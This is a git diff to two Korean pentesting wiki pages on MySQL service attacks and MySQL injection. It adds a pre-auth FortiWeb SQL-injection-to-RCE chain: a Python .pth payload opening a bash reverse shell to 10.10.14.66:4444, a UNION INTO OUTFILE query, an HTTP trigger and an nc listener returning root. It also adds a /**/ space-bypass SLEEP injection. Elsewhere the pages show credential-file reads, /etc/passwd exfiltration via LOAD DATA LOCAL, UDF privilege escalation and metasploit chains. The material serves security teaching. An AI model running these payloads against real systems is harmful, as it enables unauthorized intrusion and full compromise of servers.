diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index e8dbe992b..a6ae6f273 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,5 +1,10 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **기본 정보** @@ -34,7 +39,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -### [**브루트 포스**](../generic-hacking/brute-force.md#mysql) +### [**Brute force**](../generic-hacking/brute-force.md#mysql) ### 이진 데이터 쓰기 ```bash @@ -109,9 +114,46 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} +#### INTO OUTFILE → Python `.pth` RCE (사이트별 구성 훅) + +고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다. + +1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 임의의 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다. +2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다. +3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`에서 shebang `#!/bin/python` 사용) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE). + +예시 `.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +**UNION** 쿼리를 통해 파일을 제작하는 예 (공백 문자가 `/**/`로 대체되어 `sscanf("%128s")` 공백 필터를 우회하고 총 길이를 ≤128 바이트로 유지): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +중요한 제한 사항 및 우회 방법: + +* `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요. +* 파일 경로는 **MySQL의 CWD에 상대적으로 해결**되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다. +* 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요. +* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장치(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다. + +`.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +Python 프로세스는 악성 `.pth` 파일을 자동으로 가져와서 쉘 페이로드를 실행합니다. +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + ## MySQL 클라이언트를 통한 임의 파일 읽기 -실제로, **테이블에 로컬 데이터를 로드**하려고 할 때 MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **따라서, 자신의 MySQL 서버에 연결하도록 mysql 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\ +실제로, **테이블에 로컬 데이터를 로드하려고 할 때** MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **따라서, 자신의 MySQL 서버에 연결하도록 MySQL 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\ 이것은 다음을 사용할 때의 동작입니다: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -147,7 +189,7 @@ MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보 - **`user`** 설정은 MySQL 서비스가 실행될 사용자 지정에 사용됩니다. - **`password`**는 MySQL 사용자와 관련된 비밀번호를 설정하는 데 사용됩니다. - **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다. -- **`debug`** 변수는 현재 디버깅 구성을 나타내며, 로그 내에 민감한 정보를 포함합니다. +- **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다. - **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다. - **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다. @@ -171,9 +213,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다. +만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 할 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다. -사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고, **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요. +사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요. 만약 **그 라이브러리들이 없다면**, **찾아보거나**, 이 [**linux C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약한 머신 내에서 컴파일**할 수 있습니다: ```bash @@ -220,7 +262,7 @@ _/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍 ```bash cat /etc/mysql/debian.cnf ``` -이 자격 증명을 사용하여 **mysql 데이터베이스에 로그인할 수 있습니다**. +당신은 **이 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다**. 파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 해시들입니다) _. @@ -609,4 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index e8df8ef07..d8a39c358 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -14,7 +14,7 @@ ``` ## 흥미로운 기능 -### Mysql 확인: +### Confirm Mysql: ``` concat('a','b') database() @@ -44,20 +44,22 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## 모든 주입 +## 모든 인젝션 ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` +from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) + ## 흐름 -"모던" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다). +"현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` -### **오직 1개의 값** +### **오직 1 값** - `group_concat()` - `Limit X,1` @@ -90,7 +92,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -## MySQL 유니온 기반 +## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -109,7 +111,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -자세한 내용은 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하십시오. +더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요. ### Information_schema 대안 @@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ### 열 이름 없이 값 검색하기 -어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 명령을 실행하여 열의 개수를 찾으려고 시도할 수 있습니다: +어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그임), 플래그의 내용을 문자별로 시도하여 브루트포스 공격을 시도할 수 있습니다: +두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인할 수 있습니다. +더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요. + +### SPACES 없이 주입하기 (`/**/` 주석 트릭) + +일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**. +MySQL은 `/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다. + +공백 필터를 우회하는 시간 기반 블라인드 주입 예시: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +데이터베이스가 수신하는 내용: +```sql +' OR SLEEP(5)-- -' +``` +이것은 특히 유용합니다: + +* 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다. +* 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때. +* `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조). + +--- ### MySQL 역사 -**sys.x$statement_analysis** 테이블을 읽어 MySQL 내 다른 실행을 볼 수 있습니다. +MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis** ### 버전 대안**s** ``` @@ -148,11 +172,12 @@ mysql> select version(); ``` ## 다른 MYSQL 인젝션 가이드 -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) -## 참고문헌 +## 참고자료 -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}